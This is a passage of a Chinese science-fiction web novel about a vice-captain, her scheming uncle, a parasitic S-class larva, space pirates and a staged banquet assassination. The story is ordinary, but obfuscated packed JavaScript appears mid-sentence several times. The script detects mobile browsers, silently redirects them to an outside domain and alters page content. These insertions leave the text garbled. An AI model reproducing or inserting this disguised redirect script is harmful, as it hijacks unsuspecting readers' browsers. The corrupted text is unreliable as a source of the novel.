d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在季舒虞瞄准他脑袋的时候,那条蛇猛地缠上了她的枪。 与此同时,耳麦中传来了季尝的声音。 “大小姐,别动枪,”他的语速平而快,“消息有误,这不是A+级别的虫卵,是S级。” S级。 A+级别的虫卵有几率用枪打死,虫体害怕人造武器,但S级的幼虫并不畏惧这些。 最为可怕的一点是,S级幼虫的学习能力极强,堪比十几岁的儿童。 “知道。”季舒虞说。 早在刚刚,她就察觉到了不对劲。 成群的A级幼虫都不会发出这样大的咀嚼声。 这只幼虫已经掌控了实验员的身体,只是还不熟练。 “实验员”已经转过了身。 他的卷毛上还沾着碎肉末,一只眼睛空了,歪着头,完好的那只眼睛懵懂,嘶哑地叫她:“……母、母母。” S级幼虫,会在占据人的身体,拥有人的理智,并接管这具躯壳的记忆后,将第一个看到的人当做母亲,如果利用得当,有机会收为己用。 这就是那群科学怪人为什么这么痴迷虫卵研究,上层明知危险,却不制止的原因。 场面诡异,血腥的味道还在空气中弥漫。 季舒虞认识这个实验员,在十年前,他出现在她所在的实验室,为她注射针剂,记录她的情况。 现在这个被寄生的人叫她“母母”。 季舒虞并没有应对S级幼虫的经验。 但她知道季尝不会害他,至少不会在这件事上害她。 他试着站起来,但失败了,于是朝季舒虞张开了双臂,想要她上前抱它:“母母。” “大小姐真是幸运,凭空多了一个比你还要年长的儿子。”季尝来的很快。 季舒虞咬了咬牙:“……这时候还要说风凉话吗,你打算怎么办?” 幼虫智商很高,保险起见,季舒虞跟他在精神海里交流对策。 M618星很混乱,有不少孵化的虫卵,季尝对虫卵还算了解,他调侃道:“你儿子,你问我?” 季舒虞摩挲着手中的激光枪,扫视着他的脑袋,寻找着能一击毙命的地方。 “不要冲动啊,大小姐。”季尝看着她笑着轻轻摇头。 “母……”他看看季舒虞,又看看季尝,目光有些警惕,随时要发起攻击。 季尝率先出声:“乖,先叫声爸爸。” 5. 第 5 章 “……”它没有出声,只疑惑地看着季舒虞。 似乎是在等待她确认季尝的身份。 季舒虞沉默了一瞬,随后点了点头:“他是爸爸。” “她是妈妈,我是爸爸,听懂了吗?”季尝半蹲下身子,跟他保持着还算安全的距离,声音温和地对它说。 季舒虞额角跳了跳。 她不是很赞成季尝跟一只虫子讲道理。 这只虫子可能真的很聪明,但她并没有跟虫子打过交道,不知道这只虫子是否会突然暴起伤人。 “妈妈。” 它蠕动着嘴唇,尝试着被纠正的新发音。 “好乖,再叫一声爸爸。”季尝微笑着鼓励。 诡异,场面愈发的诡异。 被寄生的实验员一只眼眶是空的,另一只眼睛清明又纯粹,身上沾着腥臭的血,以奇怪的姿势跪坐在地上,学着叫妈妈爸爸,而季尝耐心又温柔地教导着她们的虫孩子。 幼虫不肯再出声。 它刚寄生没多久,学习和接收新的记忆会耗费大量体力,它饿的想要吃些什么。 飞船里原本还有两个人,现在已经被啃成了骸骨,它没有食物了。 幼虫认母是为了食物,如果“母亲”为它找不来食物,那么母亲就会变成食物。 精神海传来波动,季尝叹了口气,提醒说:“看来这样的温馨持续不了多久,我们的儿子饿了。” “有吃的吗?”季舒虞问。 她做任务从来不会带什么吃的,平时也是喝特供营养液居多。 季尝还真的翻了翻口袋,找出几颗糖果递过去:“可怜的孩子,先吃几颗糖吧,让妈妈去为你打猎。” 这些基础的话幼虫是听得懂的。 它吃了两个船员,就为了消化脑中过量的知识,现在不打算挑剔。 幼虫笨拙地接过糖果,没有剥开糖纸,直接塞进嘴里,慢慢咀嚼,发出咔嚓声。 “爸爸。”它看着季尝,独眼变得格外明亮。 这是吃到好东西了,才肯叫一声爸爸。 “瞧瞧,真势力,跟你妈小时候一个德行。” 季尝笑着重新递过去一颗糖果。 糖只有三颗,幼虫进食的速度很快。 此刻,它已经学会了站立。 季舒虞在精神海里传来波动:“初步判断,它在间脑的位置。” 她的精神体是朱雀,相应的,鸟类对虫子的敏锐也在她身上有所体现。 “大小姐,只会只有一次。”季尝提醒。 “它很聪明,成长速度也很快,如果失败,它可能会气得长出虫肢,加速成虫,身体里就满是腐蚀性液体,那时候可就麻烦了,大小姐可要一击必中。” 季舒虞借着刚刚觅食的理由离开,借着遮挡物瞄准它的脑子。 幼虫是从眼眶的位置钻进去的,大脑的完整性也已经被破坏,间脑的位置会有一定偏差。 她视力好,也只是针对活物,间脑的位置无法准确探查。 激光步枪发射的一瞬,幼虫接过最后一块糖,没有看她,侧头避开后,攥着那颗糖,眼睛无波无澜:“为什么呢,妈妈?” 季尝的微笑瞬间消失。 他也低估了这只虫子。 M618星的寄生者是多,但高等级的虫子有自己的性格与脾气,他观察的高级寄生样本并不多。 虫肢几乎是瞬间穿破了肉|体,发出沉闷地噗嗤声。 季尝连连后退,避开了硫酸一样的蓝血。 飞船的底部被彻底腐蚀,发出刺鼻的味道。 “你不喜欢我,我不要叫你妈妈了,”他的脸彻底阴沉下来,单只眼睛转向季尝,“你是在帮她杀了我吗,爸爸。” “我哪有,真是冤枉。”季尝微笑着跟它保持安全距离。 人类的嘴巴已经变成了口器,它发出刺耳的声音:“骗子。” 坚硬的虫肢猛地朝他刺来,季尝翻身躲避,将它朝季舒虞的反方向引:“孩子她妈,你要拿稳枪啊!” 季舒虞握紧了激光步枪的握把:“你小心。” 如果扫射的话,这只虫子必死无疑。 但季尝也会死。 她虽然希望季尝死,但却不希望他这样潦草的死,激光冲锋终究没有拿出来。 虫肢上的倒钩撕碎了他衣服的一角。 连带着那把组装好的枪也飞了出去。 季尝躲避的动作快出了残影:“爸爸的衣服很贵,你怎么能撕碎,你这种坏孩子,妈妈是不会喜欢你的。” 季舒虞在精神海里听得清清楚楚,额角青筋都出来了:“你说你刺激它干嘛。” 她担心季尝没有武器傍身,却忽略了他嘴巴的锋利程度。 虫子的确被刺激到了。 它虫腹处的神经线变得明显,随着呼吸一起一伏。 季尝抽出能量匕首,这次他没再躲闪,在它朝自己冲来时,也膝盖一沉,顺着惯性朝它的虫腹冲去,在地面划出一道残影。 冰冷的能量匕首刺进虫腹的神经线,动作过快,甚至没有迸出血液。 能量匕首的手柄被逐渐腐蚀,虫子尖锐的咆哮震得他头脑发昏,耳膜好像下一瞬间就要破裂了。 季舒虞隔了很远,都被这一声震得耳鸣不止。 简直是以伤换伤的打法。 不要命了。 季舒虞瞄准那颗千疮百孔的脑袋,连射几枪,激光穿透它间脑的同时,虫肢上的尖刺也穿透了季尝的肩胛。 灼热的激光将间脑烤焦,发出滋滋的声音。 季尝被巨大的虫身带倒。 虫肢粗壮锋利,但尖刺跟容易折断,一旦断裂,他的肩胛就会被灼烧,一点蓝血就能把活人烧穿。 “大小姐。”季尝直抽冷气。 季舒虞从朱雀身上下来,在脆皮麻痹它的神经,血液开始凝固后,猛然砍断它的前肢,带离季尝。 前肢不算重,她按着季尝流血不止的肩胛,果断把尖刺拔了出来。 “哎呦,孩他妈,你倒是轻点。”季尝咬着下唇,面色愈发苍白。 季舒虞冷漠地给他止血:“有力气贫嘴,看来没有那么疼。” 他就是故意的。 三年前她们打架的时候,季尝穿透了她的肩胛,她的匕首也捅进了季尝的胸膛。 距离心脏只差一点,他命很大。 那时候也没听他这么叫痛。 “打道回府吧,我受了重伤。”季尝任由她为自己包扎,虚弱地提议。 季舒虞一把火烧了尸骸,蛋白质烤焦的味道刺鼻又难闻,冒出阵阵白烟,她应了一声:“等我冷冻虫卵。” “……把这些东西带回去,你指望它们寄生高层吗。”季尝提醒她,“那群自大的蠢货,根本不懂这些寄生虫的可怕。” 季舒虞把他的伤口紧紧缠绕起来:“你要违抗军令吗?” 真是好大一顶帽子。 季尝啧了一声,抽出愈合针剂,为自己注射了一针:“别包了,你把伤口捆的像古文明时期的土炸|药。” 另一边,文青山已经遵循指令,将那些要破壳而出的幼虫冷冻起来。 约有拇指粗的灰白肥虫刚探出头,就被文副官彻底冻住。 “嘿,你这家伙,”不远处传来一个粗犷的声音。 来的这么巧,看来刚刚在一旁看着的就是他们了。 季舒虞稳稳落在朱雀背上,只手就把季尝提了上去。 “哎呦我的大小姐,轻点轻点,我是伤员啊。” 季舒虞睨了他一眼:“那是特效针剂,伤早好差不多了吧。” “……看破不说破啊,真没劲。” 这批星盗早就跟实验员达成了协议,刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299936|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观战,现在又想渔翁得利。 “这样大的事,居然只派了副舰长吗?”星盗认识她,见状大笑,“元老院这帮家伙未免太看重你了。” S级的幼虫,他们带了三队高阶Alpha,这两人就这么过来的。 季舒虞看到他们早有准备,心中也有了猜测,架起激光步枪瞄准对面的星盗。 耳麦传来文青山的声音:“长官,星盗来抢虫卵,我受了伤,可能撑不了多久,请求支援。” 星盗都是A阶层,文青山即便是A+,以一敌多也不会撑太久。 “你一个人对付得了吗?”她问季尝。 季尝不假思索地说:“当然,别小瞧我。” 得到了想要的回答,季舒虞以极快的速度前往支援文青山。 文青山的激光枪已经变得滚烫,她面前的星盗无不是改造人。 滚烫的激光没能穿透他们不知道什么材质的金属胸膛,季舒虞瞄准远处几人的脑袋,连开几枪。 砰砰砰。 有几个应声而倒,为首那人踉跄了一下,他明显是个铁脑壳。 为了战斗,把肢体换成机械义肢,星盗真是一群疯子。 铁脑壳星盗显然被惹怒了,没有理会手下,直接朝着季舒虞扑去。 机械义肢很沉重,直接扑过来,能将人的内脏压的粉碎。 季舒虞在他猛攻的时候,直接开启干扰装置,强力电磁干扰生效的一瞬间,几个经过机械义肢高在的星盗瞬间倒下,改造超过70%的更是直接瘫痪。 文青山缓了一口气,拖着受伤的身体上前:“他们最好祈祷自己没有机械心脏。” “那个铁胸的好不到哪去。”季舒虞吩咐,“处理好。” 经他们一干扰,被冰冻的虫卵明显更活跃了。 文青山皱了皱眉,转眼却见季舒虞不见了。 “执行官大人,道不同不相为谋啊,你跟她打了这么多年,还没打够吗,拿到虫卵,我们把季舒虞交到你手上,任你处置。”星盗抛出一个条件。 “你不太会贿赂人,”季尝不为所动,“这怎么能够打动我?” “……看来说你贪心的传言是真的。”星盗哈哈大笑,“我有你母亲的生物信息,跟我达成合作,事成之后给你,怎样?” “你不是一直想知道,当年究竟发生了什么吗?” 季尝点点头,没有否认,只是做出犹豫思考的模样:“嗯,这次够诱人,不过,我要是叛变,大人会杀了我的。” 言毕,他笑着回头,看向身后的季舒虞:“对吧,大小姐。” 季舒虞皱眉:“叫你杀了他们,怎么不动手。” “他们想贿赂我,我得看看有什么条件,我这人很有礼貌,动手之前要把话说清楚。”他笑着摘下手套,哪怕衣服被虫肢勾坏了,也还是那副得体有礼的模样。 星盗头子似笑非笑地问:“考虑得怎么样啊?” “足够诱人,不过,”季尝嘴角的弧度扩大,“你算个什么东西?” 星盗的笑意顿时被阴冷取代:“解决她们!” 季舒虞一枪放倒一个星盗。 原本要被贿赂成功的季尝迅速与她统一了战线,一言不发地默契解决掉对面几个星盗。 打完了成虫,对付高阶A级的星盗,倒像是砍瓜切菜了。 高层给了时间限制,要她们在规定时间内将虫卵送回来。 文青山处理星盗用的时间并不多,她封锁虫卵,去找两位长官汇合。 只是没想到,原本以为加入一场恶战,却看到几个星盗上了星舰,一边跑一遍咒骂:“真草了,睡一个被窝的两口子都不能这么默契。” 浓烈的信息素紧密纠缠。 季舒虞也被影响到了:“收收你的信息素,味道太重了。” 这次,季尝没有回怼她,脸色越发苍白。 6. 第 6 章 “……抑制剂。”他说。 心脏传来阵阵抽痛,他能听到自己心跳的声音,不规律的,好像随时会停止,过大的波动让他的信息素失控泄露了。 “我没有随身携带的习惯。”季舒虞垂下眼睑,很快解下了手腕上的装饰手环,抛给他,“能缓解,先带上。” 心绞痛和心律不齐让他喘不上气,季尝指尖有些发抖,颤着戴上了手环。 大概缓了三分钟,季尝脸色才好点:“大小姐的东西就是好用。” “只是借给你,回去还我。”季舒虞说。 “真是吝啬啊。” 他人好多了,嘴又刻薄起来。 文青山汇报说:“长官,虫卵状态不好,能带回去,但风险很大。” 季舒虞陈述道:“完成这项会有大笔拨款,我们星舰需要。” “需要钱就跟小叔要,怎么非得做这种事?”季尝说,“文副官,这批虫卵销毁掉,跟高层说,星盗催熟虫卵,寄生了实验员,我们三个差点就没命。” 明明完成任务,获取钱财的手段是正当的,在他口中却像是什么见不得人的勾当。 “违抗军令吗,我会率先把你踹进焚化炉。”季舒虞警告。 季尝拆开肩胛处厚厚的绷带,哼笑:“这么听话?难怪他们叫你当看门狗。” 没有给他任何反应的时间,季舒虞直接拿枪对准他射击。 爆发出的火光被黑蛇脆皮的鳞片弹回。 朱雀也有点着急,啾啾的叫了两声,想要把脆皮带离这个是非地,却没有拦住季舒虞开第二枪。 子弹擦着他的脸过去,被冲破的空气宛如利刃,在季尝脸上留下了一道细窄的血线。 刚刚还并肩作战的两人,在共同解决完第三方势力后,开始清算彼此间的怨与恨。 季尝身体柔软的像是一条蛇,带着尖锐的攻击性,扭断她手上的激光枪,有力的肢体将她紧紧缠绕。 他紧紧勒住季舒虞的脖子。 呼吸不畅,脖颈猛地被勒紧,季舒虞只觉喉头剧痛,却猛地扫腿,听季尝一阵闷哼,将人按倒在地。 原本两人将要散去的信息素,再次紧密交织在一起。 没有暧昧与旖旎,全是要杀了对方的狠辣劲。 公务飞行器缓缓降落,是星际议会的议员亲自来了。 暮春咂舌:“说了别让他俩凑一块,你看看成什么样了。” 非要在这死一个吗? “副舰长、执行官,不走吗?”她招呼远处打得不可开交的两人。 用过特效针剂后,伤口愈合得很快,但碎裂的骨头,并没有在短时间内长好,季尝落了下风,被她按在地上。 “咳咳,”季尝偏头吐出一口血,“真是不识好歹,跟小时候一个样,还是这狗脾气。” 季舒虞:“违反军规,是要被处决的,小叔。” 她擦掉身上的血,看着被文青山搀扶起来的季尝。 不远处废弃的飞船爆破,传来轰隆巨响。 一朵巨大的蘑菇云腾空而起。 季舒虞咬牙看着季尝,后者嘴角带着血,朝她笑了笑。 他不知道用了什么手段,在飞船里放了定时炸弹,那些虫卵早就被炸烂了。 飞船残骸里缓缓流出带有腐蚀性的蓝血。 “别用这种眼神看着我,星盗埋藏炸弹,炸毁了虫卵,害得我们无法完成任务……”季尝有些惋惜地叹了口气。 季舒虞当然不会相信他的话:“把嘴闭上,不然我不介意让你再也说不出话。” “怎么就打起来了呢,执行官,你到底是小叔。”暮春上来劝架,给手下使了个眼色,分别带着两人离开了。 季舒虞接过营养液和特效针剂,坐在离季尝很远的位置:“你怎么亲自过来了?” 暮春直白地说:“内鬼篡改了行动令,有人要害你。” 她跟季舒虞有过命的交情,私底下不会有所隐瞒。 “要害我的人不少,”季舒虞说,“你的飞行器上现在就有一个。” 季尝低低地笑了一声,没有反驳。 刚刚的打斗中,那枚胸针没有遗失,还好好的待在他的身上。 变动有些太多了。 他更改了线路,帮季舒虞避开了前世的危机,但季舒虞主动邀请他以舞伴的身份前去,的确是他没有想到的,前世她可没有这么做,那场宴会他也没有去参加,听说有人刺杀星际要员与财阀,要不是季舒虞在,那群手无缚鸡之力的家伙早就死了。 兴许就不能策划她们的死。 季舒虞邀请他去宴会,又是打算做什么? 他摩挲着宝石胸针尖锐的棱角,本该万无一失,但他忽略了季舒虞是那个最大的变动。 距离宴会还有一段时间,足够她们两人休整。 “小叔是该让着侄女,我已经反思过了,小鱼,载我一程吧,以后小叔都让着你。”衣着光鲜的季尝佩好了胸针,金色的宝石映得他琥珀色的眼睛很明亮,很勾人。 这人就是这样。 赶也赶不走,死皮赖脸,非要粘着她。 季舒虞直截了当地问:“你究竟有什么目的?” 他看着季舒虞一脸无辜:“什么,不是你邀请我参加的吗?” “好人做到底,送佛送到西,载我一程。”他理所应当地坐在季舒虞旁边的位置,那股淡淡的草木味再次袭来。 这次季舒虞毫不犹豫地将人赶了下去,没再理会他,关上飞行器的门,一脚加速,飞行器很快驶离了这里。 “啧,”季尝不满地掸了掸被她碰过的位置,“还是这么粗鲁、直接,贵族的修养是一点没学。” 他叫了专车,去追赶季舒虞。 哪儿有把舞伴丢下自己进去的。 季舒虞就是一个。 她被几人簇拥着进去,听人问:“季小姐,您的舞伴呢,没有跟着来吗?” “我们季小姐不太喜欢omega,兴许就不带了。”有人笑嘻嘻地插话。 有人小声问:“……她是A同吗?” 季舒虞很不喜欢这样的场合。 尤其几个omega见她没有带舞伴,端着酒杯与她攀谈,想要成为她的舞伴。 她从来都直接,不像季尝擅长虚与委蛇,没有跟他们寒暄的意思,刚要抽身离开,就听身后有人叫她。 “大小姐,把舞伴丢下不太好吧?”季尝笑眯眯地看着她。 ……又来了。 “这,”有官员打量这两人,“季先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299937|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是季小姐的……舞伴?” 刚刚还明争敢抢的omega们面面相觑。 她们是叔侄啊。 一般不是邀请情人、伴侣、恋人,她们俩一起跳舞,这算怎么个事? “看来大家很疑惑,小鱼没有说吗?”季尝拿出长辈的模样,“她不擅长跳舞,这些天由我亲自教她,我也算她的老师。” 这话确实没什么毛病,没有人会反驳。 季尝很会跳舞,几乎什么舞都会。 “啊,季小姐不会真的跟他跳舞吧?”有omega不甘地攥紧拳头。 “小叔和侄女跳舞吗?”克莱德看着两人离开的背影,自言自语。 “噢,克莱德,你不要太古板,”有omega主动维护季舒虞,“季小姐那么洁身自好的人,怎么会有这样的心思,老师而已,你不要太上纲上线。” “……我还什么都没有说。” 其他人的反应还算正常,但教皇看到季尝时,明显肌肉都僵硬了。 季舒虞狐疑地看了他一眼:“你得罪她了?” “当然没有,你知道我有多友善。”季尝笑着递给她一杯红酒,“刚刚我说谎,可以一点舞都不会跳,一会儿可怎么办?” “我不会跟你一起跳舞的。”季舒虞果断拒绝。 他没再追问原因,朝远处的教皇颔首示意。 季南山诧异地看着他:“呦,你被邀请了吗,如果我没有记错的话,名单上没有你的名字。” “没有人规定不能带舞伴,不是吗,”季尝微微一笑,“二姐知道我的,我本来不打算来,要不是副舰长求我……” 说到这,他朝季舒虞望了一眼。 对上她冷漠的眼睛,季尝微微一笑:“当然要照顾一下。” 季舒虞不喜欢这种氛围,离开了原本的位置,安安静静地喝茶,听到远处教皇说:“他居然真的来了,不是说不来吗……” 她的语气有些恐惧与愤恨。 季舒虞挑了挑眉,默不作声地抿了一口茶。 却不知道季尝做了些什么,能让教皇对他产生这样的情绪。 原本他在被邀请的行列里并且不打算来吗,那么她要季尝以舞伴的身份参加,他怎么又过来了? 她看着季尝与那些人周旋。 他很圆滑,也很擅长处理这些事。 只是没一会,他就频频朝着自己的方向看来,似乎是想说些什么。 季舒虞没有理会,直到他端着酒杯过来,有些无奈地说:“我的大小姐,怎么不过来救场,还想着你那虫卵呢?” “你还有脸提?”季舒虞没有看他。 季尝皱起了眉头:“守着这些规矩,不肯看看究竟是怎么回事,我救你的命,你不领情么。” “我有能力处理这些,只要钱到手,就能解决我手下人的温饱,打仗不能没有星币。”季舒虞不想与他纠缠。 季尝凑近,跟她保持着耳语的距离:“只要你不守规矩,有大把赚钱的机会。” 温热的气流带着草木清香,突然凑近是一种亲密,但又饱含侵犯性的肢体语言。 “大小姐,不要跟他们混了,跟我在一起,我们大有可为,”鼻尖被清香萦绕,她听到季尝发出邀请,“怎样?” 7. 第 7 章 原本听起来很功利的那句“在一起”,现在都因为距离的拉进显得暧昧了。 高匹配的信息素纠缠在一起。 潜台词是,比为季高当狗强。 他之前总是这样说。 说她是季高的刀,是季高的看门狗,带着恶意与侮辱。 季舒虞微微偏头,躲开了他的靠近:“让我为你做事,但你顶着私生子的身份,能给我什么?” 私生子。 这话一出,季尝的脸色当场阴冷了下来。 他最忌讳别人提及这层身份。 他不想跟季高扯上关系,也不想回忆当初那些不美好的回忆。 “看来你是不想谈了,”季尝眯了眯眼,对上她平静的视线,忽而笑出声,手腕一歪,那半杯红酒就这么不偏不倚地洒在了她的身上,“不好意思大小姐,手滑。” 军装被红酒洇湿出大片痕迹。 季舒虞直接起身,反手拿起红酒浇湿了他的头发。 暗红的酒液顺着季尝的发丝、脸颊往下滴落。 离得近的几个omega看到这一幕,倒吸了一口凉气。 这片区域逐渐安静了下来。 酒瓶被放回餐桌上,季舒虞没有说话,冷寂又可怕。 “哈。”季尝接过侍从递来的帕子,擦干净脸上的酒液,但无济于事,头发还是湿漉漉的,冰冷的酒液会不断滴到脸上。 像是大战一触即发。 正与皇室成员交谈的季高,被手下附耳告知了这件事。 他面无表情听完:“带她们去换衣服,换完来见我。” 季舒虞年纪轻轻做到了副舰长的位置,背后又有强大的季家,人们都知道,她是被季家老爷子和前元帅大人,她的养母当做继承人来培养的。 季尝又是季家私生子,多少人的注意都放在这两人身上,他们竟然在宴会上做出这样的事。 季家是三大财阀之一,但到了她们这一代,死的死伤的伤。 大都是死于家族内斗,或是在战场受了伤,又或者是什么疑难杂症。 季高也不免头疼。 不知道是他得罪了哪位神仙,季家到了他的手上怎么就变成了这样,连个继承人都要从外面找。 原本想要传位给季舒虞的母亲,可她是星际元帅,心思也不在这些事上,她不喜欢太安定的日子,后期在战场上受了重伤,落下了终身残疾。 而元帅唯一的儿子也是个病秧子,命不久矣,一个劣等Alpha。 偏偏剩下的女儿们又指望不上,季高也把希望放在了季舒虞的身上。 她是天生的掌权者,果断冷酷,是实验室培养出的好苗子。 唯一的缺点就是不懂变通。 “院长,人已经到了。” 他的手下出言提醒。 季舒虞看着他:“祖父。” “父亲。”季尝有些散漫。 “收拾的还算得体,”季高不是很在乎她们两个是否在刚刚的冲突中受伤,“虫卵的事难为你们了,这件事元老院已经调查清楚了,任务失败就失败吧。” 季尝点点头:“您应该也听议员说了,星盗想要将我们和虫卵一起炸毁。” 季高深深地看了这个儿子一眼:“这段时间局势不太稳定,你们两个要配合的时候还多着,总是这样像什么样子,被外人看笑话吗?” 季舒虞直接应声:“祖父教训的是。” “你是小叔,小叔要让着侄女,”季高双手交叉,居高临下地看着两人,“婚约也该早早定下来了,不论是皇室还是财阀,你们都改考虑,这是每个季家人应尽的责任。” “记住,在利益面前,什么恩怨都不值一提。” 财阀家族就像一张紧密编制的大网,利益交织,关系错综复杂。 但唯有把家族的利益捆在一起,她们的关系才更加稳定。 她们享受了家族带来的资源,也要把后半生付出给家族。 季尝摆出一副笑眯眯的,要跟她和好的模样,被季舒虞全然拒绝了:“工作上我会跟他配合好,但生活上不行。” 话说到这,季高也不好再说什么。 他很清楚季舒虞的脾气,谁都逼不得,硬得像一块钢板。 季舒虞当即皱起眉头,直接抬脚朝季高的转椅踹去,老头和他的椅子登时飞出去老远。 砰。 那颗子弹几乎是擦着季高的耳朵过去的。 空气被猛地破开,发出尖锐刺耳的声音,她看见季高瞪大眼睛,一脸不可置信地看着远处:“立刻封锁,给我去追!” 对方人数并不多,但显然是训练有素的精英。 她们非但没有跑,为首的覆面女人再次朝老头射了一枪。 激光与他的椅子擦出火花,季高被手下搀扶着,狼狈地躲在角落里。 “保护院长!” 场面一时间有些混乱。 “好了,再等下去会露馅。” 精神海里传来了波动,季尝毫不心虚,马上给出她回应:“嗯,行动。” 季舒虞在的地方会发生意外。 这个想法很快被再次验证了。 原本他想要趁乱在宴会上获取一些东西,于是也准备了一场刺杀。 不过并非是动真格的,而是趁乱吓唬吓唬老头。 两场动乱里,她们也查不到什么。 谁知道原本这批人怎么没来。 刚刚季舒虞看他的眼神都不对劲了,她很敏锐,必然是察觉到了什么,但没有选择戳穿他,而是陪他演这场戏,倒是非常令他意外。 准备的手段没用上。 季舒虞陪着制造动乱的人当了一晚上英雄。 但显然严肃的季舒虞比他更受欢迎一些。 omega身上的各种味道混在一起,让嗅觉敏感的季舒虞有些头晕,季尝笑眯眯的接受一些Alpha的采访,并没有要救她的意思。 “要不是季小姐,刚刚我可能差一点就死掉了。”omega眼含热泪。 这话不假。 季尝找来的这群人下手没个轻重,大闹宴会搞得像是血洗宴会,在战斗中,把巨大的水晶大吊灯射了下来,引发一众omega的尖叫。 要不是她震开,恐怕这几个omega已经被砸的血肉模糊了。 黎棠热切地看着她:“我为姐姐找来了药,先涂上吧。” 她被一群陌生omega团团围住,黎棠算是她还算熟悉的面孔。 在一旁的omega感激她、崇拜她、仰慕她的时候,黎棠跟他们的话题大不相同:“季姐姐,上次我们一起出去玩,你走得太早了,是不尽兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们多默契啊,小鱼,没有动用精神海交流,也没有提前商量,还有谁能做到这样?” 季舒虞点头,说的理所当然:“是啊,对峙十年,想不了解对方都难吧。” 他撇了撇嘴:“那你还要杀我吗?” “只要你招惹我,我就不会手软。” 意料之内的回答。 “哎呀这么凶,你这样可是讨不到omega的。” 季舒虞看着他:“如果是指你这样的omega,那也没什么必要。” 季尝:“……非要我说一句你顶一句吗,一点亏都不吃?” “我从来不吃亏,吃了就要还回去。” “话说回来,你踹他的时候,可真是太解气了,”季尝有些惋惜,“要不是我要装好儿子,也想给他来一脚呢。” 季舒虞想到他那副滑稽的模样,也弯了弯嘴角。 那一瞬间他不像是什么院长,倒像是一只怕死的老鼠。 星际的大权都在这群人的手上吗? “说到婚约,桑家那小omega挺喜欢你的,考虑的怎么样,”季尝啧了一声,“就是脾气挺大的,嗯,你喜欢什么样的omega?” 8. 第 8 章 “放心,不是你。” “……大小姐快别打趣我了,要是我有你这样的alpha,恐怕早就被气死了,无福消受啊,”季尝摇了摇头,“不过你我很适合做盟友。” 做盟友就不会被气死了? 和往常不同,他今天反复提起关于友好、和善等一系列的词汇。 根据自己对他的了解,季舒虞很快就判断出了他这么做的理由。 “有事求我?”季舒虞扬起眉头。 季尝微微一笑:“哎呀,大小姐料事如神。” 她示意他继续说下去,听季尝低声道:“其实今天我有一句是实话,大小姐,我们两个要是一起做事,她们谁都拦不住。” 季舒虞没有想到这算一句实话。 “谁会为对峙了十年的宿敌做事?”她觉得荒谬,就笑出了声。 “不要那么小心眼,你祖父是怎么教导你的,利益面前都是小事,”季尝循循善诱,“季家掌权人的位置算什么,我把你扶上更高的位置,而你,要给我想要的东西。” 今晚的月光格外明亮。 将她们两人的面容映照的格外清晰,季舒虞静静地看着他,那双莹润的琥珀色眼睛更明亮了。 可能是光线比白天的柔和,她没有在季尝眼睛里看到算计。 季舒虞重新恢复以往认真的模样:“小叔,你给的东西我可不一定能看上。” “我能给你提供最大的助力,小鱼,跟我在一起才是明智的选择。”季尝今天没有扎头发,栗色的柔软发丝散在肩头,看上去没有那么刻薄了,“我扶你坐上最高的位置,你给我整个季家……” 季舒虞扬了扬眉头,吩咐侍从带去她们提前回家的消息:“小叔的胃口真大,你想要什么,整个季家?” 季尝一副理所当然的样子:“我要整个季家,对你来说一点难度都没有,不是吗,长官?” 只要他能保证季舒虞坐到那个位置,到时候什么不是他的,摘星揽月都是如此简单。 飞行器的门打开,季尝丝毫不见外地坐在她的身边,继续抛出条件:“我可以帮你做脏活,把你捧到那个位置。” 季舒虞不太理解他的想法:“你就非得跟我绑在一起吗?” 她们讨厌彼此,但季尝这么纠缠她,怎么看怎么不对劲。 会有人主动接触自己的死对头吗,正常人的第一反应都是主动避开吧。 “啧,你不肯为我做事,那只好我为你做事了,”季尝说,“大小姐,你是个聪明人,老头就是最大的危险,你想要上位,就要扳倒他。” “我就是你最好的盟友。” 有一点他说的没错,她们的默契是没有谁能够替代的。 她知道季尝没有看上去那么简单。 祖父让他坐上执行官的位置,但这个位置触及不到家族的核心利益,他疼爱季尝却不信任他。 祖父不给他机会,却不代表他真的无权无势。 只是教皇的反应就能说明一切。 教皇这一职位还能有什么害怕的东西,季尝的手究竟能伸到哪里,能让久居上位的教皇濒临情绪崩溃。 季尝远比人们想象中的还要可怕。 他擅长玩弄人心,狡诈圆滑,该下手的时候绝对狠辣。 这样的人,能成为盟友肯定是最好的。 但季尝不会无缘无故的帮助她,季舒虞专心开飞行器,视线没有偏移,表现得兴致缺缺:“那先看看诚意。” “……什么?”兴许是因为太顺利,季尝反而不那么放松了。 “我不能保证你不背叛我,小叔,”季舒虞侧眸看了他一眼,“我会亲自为你植入芯片,这段时间,你来兼职我的生活秘书。” 飞行器陷入长久的静默。 正当季舒虞认为他会拒绝的时候,季尝突然开口:“好啊。” 飞行器稳稳停在门口。 季舒虞有些说不上来自己是什么心情。 她并没有完全相信季尝的话,植入芯片很危险,相当于直接把性命交到她手上。 